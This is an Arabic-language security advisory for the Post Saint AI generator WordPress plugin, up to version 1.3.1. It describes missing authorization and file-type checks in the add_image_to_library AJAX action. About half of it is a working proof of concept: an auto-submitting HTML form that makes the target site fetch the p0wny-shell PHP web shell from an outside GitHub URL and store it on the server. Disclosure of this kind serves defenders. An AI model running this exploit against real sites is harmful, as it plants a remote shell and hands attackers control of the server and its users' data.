
Post Saint: ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, Dezgo AI Text & Image Generator <= 1.3.1 - ثغرة فقدان التفويض المؤدية إلى رفع ملفات عشوائية للمستخدمين الموثقين (مشترك فما فوق)
Post Saint: ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, Dezgo AI Text & Image Generator <= 1.3.1 - نقص التفويض يسمح للمستخدمين المصادق عليهم (مشترك+) برفع ملفات تعسفية
إن إضافة Post Saint: ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, Dezgo AI Text & Image Generator الخاصة بووردبريس معرّضة لثغرة رفع ملفات تعسفية بسبب غياب فحص الصلاحيات والتحقق من نوع الملف في دالة إجراء AJAX باسم add_image_to_library في جميع الإصدارات حتى 1.3.1 وما يشملها. وهذا يجعل من الممكن للمهاجمين المصادق عليهم، ممن يملكون صلاحيات بمستوى المشترك فما فوق، رفع ملفات تعسفية تجعل تنفيذ الأكواد عن بُعد ممكنًا.
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="add_image_to_library" />
<input type="hidden" name="image_url" value="https://raw.githubusercontent.com/flozz/p0wny-shell/refs/heads/master/shell.php" />
<input type="hidden" name="image_prompt" value="say hello" />
<input type="hidden" name="insert_prompt_media_library_fields" value="caption_description" />
<input type="hidden" name="image_generator" value="pexels" />
<input type="hidden" name="log_id" value="1667" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>